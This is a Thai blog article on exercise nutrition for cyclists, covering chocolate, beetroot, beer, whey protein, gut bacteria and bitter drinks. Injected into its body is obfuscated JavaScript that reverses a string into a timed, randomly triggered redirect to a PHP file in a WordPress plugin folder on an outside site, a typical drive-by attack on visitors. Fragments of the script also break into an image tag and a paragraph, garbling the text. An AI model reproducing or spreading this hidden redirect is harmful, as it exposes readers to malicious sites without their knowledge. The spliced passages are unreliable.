ช็อคโกแลต และ บีทรูท (GOOD!)
ผลการวิจัยของ London’s Kingston University พบว่าการาทานช็อคโกแลตจะช่วยเพิ่มประสิทธิภาพการออกกำลังกาย โดยได้จัดการทดลองให้นักปั่นกินช็อคโกแลตขนาด 2 ออนซ์ ทุกวันเป็นเวลา 2 สัปดาห์ ปรากฏว่านักปั่นสามารถปั่นได้ไกลมากขึ้น อึดทึกทนต่อการฝึกแบบ Intense exercise ได้ดีขึ้น ที่ทีมวิจัยคาดว่าสาร epicatechins ที่อยู่ในช็อคโกแลตอาจจะไปช่วยกระตุ้นให้สร้างสาร nitric oxide ที่ช่วยให้เลิอดไหลเวียนได้คล่องตัวหรือ bloodflow ดีขึ้นส่งผลให้ลำเลียงออกซิเจนไปเลี้ยงกล้ามเนื้อมากขึ้น ทั้งนี้การรับประทานเจ้าบีทรูทก็ให้ผลในทำน่องเดียวกันด้วย
เราจะเพิ่มช็อคโกแลต (แนะนำ Dark chocolate) ในเมนูประจำวันเราได้แต่ระวังหน่อยนะครับ เพราะแค่ 2 ออนซ์ก็ 300 กิโลแคลลอรี่แล้ว
$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andc-400×152.jpg” alt=”bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andc” width=”565″ height=”215″ /> บีทรูทและช็อคโกแลตมีสารอาหารที่ช่วยให้กล้ามเนื้อทำงานได้ดีขึ้นในช่วงออกกำลังกาย (intense exercise)เบียร์ เบียร์และเบียร์ (BAD!)
ผลการศึกษาของ University of Costa Rica เมื่อให้นักกีฬาดื่มเบียร์ขนาด 3 ไพนต์ (1.419 ลิตร) ภายใน 1 ชั่วโมงหลังออกกกำลังกายพบว่าคนดื่มเบียร์จะมีปฏิกิริยาตอบสนองจะช้าลง และมีการสะสม ยูรีน (Urine) มากขึ้น แถมยังก่อให้เกิดอาการที่เรียกว่า subpar fluid balance หรือความไม่สมดุลของของเหลวในร่างกาย
โปรตีนมั้ยครับ?(GOOD!)
ผลการศึกษาจาก American College of Sports Medicine เมื่อให้นักปั่นที่จบคอร์ส 100 นาที และให้ดื่มเวย์โปรตีนขนาด 85 หรือ 28 กรัม พบว่าจะช่วยให้กระตุ้นการสร้างกล้ามเนื้อ เพราะตัวเวย์โปรตีนจะมีสาร Leucine ที่เป็นกรดอะมิโนที่ช่วยกระตุ้นให้สร้างกล้ามเนื้อและขนาดของโดสมากหรือน้อยมีผลเท่ากัน
แนนำว่ารับประทานอาหารมื้อหลังออกกำลังที่มีโปรตีน (เนื้อ นม ไข่ ปลา) ปริมาณ 25-30 กรัมก็ได้นะ
ยาคูลย์มั้ยค่ะ(GOOD!)
จุลลินทรีย์ในลำไส้มีผลต่อสุขภาพโดยรวม ยิ่งมากยิ่งดี มีงานวิจัยจากประเทศ Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ที่มีการเปรียบเทียบหนุ่มอ้วนแต่สุขภาพดีกับนักรักบี้สุดฟิต พบว่า นักรักบี้จะมีจุนลินทรีย์ที่หลากหลายในลำไส้มากกว่าคนอ้วน แถมยังมีสารพันธุ์ akkermansiaceae เยอะกว่าด้วย ซึ่งเจ้าตัวนี้มีผลต่อการลดความเสี่ยงการเป็นโรคเบาหวานและการอักเสบ
อย่างไรก็ตามการศึกษาเรื่องนี้ยังไม่สามารถฟันธงได้ 100% ยังคงต้องมีการศึกษาเพิ่มเติม
หวานเป็นลมขมเป็นยา(GOOD!)
ขนมของหวานหรือเครื่องดื่มรสหวานมีผลต่อการกระตุ้นสมองให้เราวิ่งได้มากขึ้น เร็วขึ้น แต่ถ้าลองอาหารรสชาติอื่นอย่างรสขมล่ะ มีงานทดลอง ณ ประเทศออสเตรเลีย ได้ให้นักปั่นกินอาหารรสขม (Quinine drink) แบบ calories-free พบว่าสามารถเพิ่มประสิทธิภาพได้ถึง 3% เชียวนะ
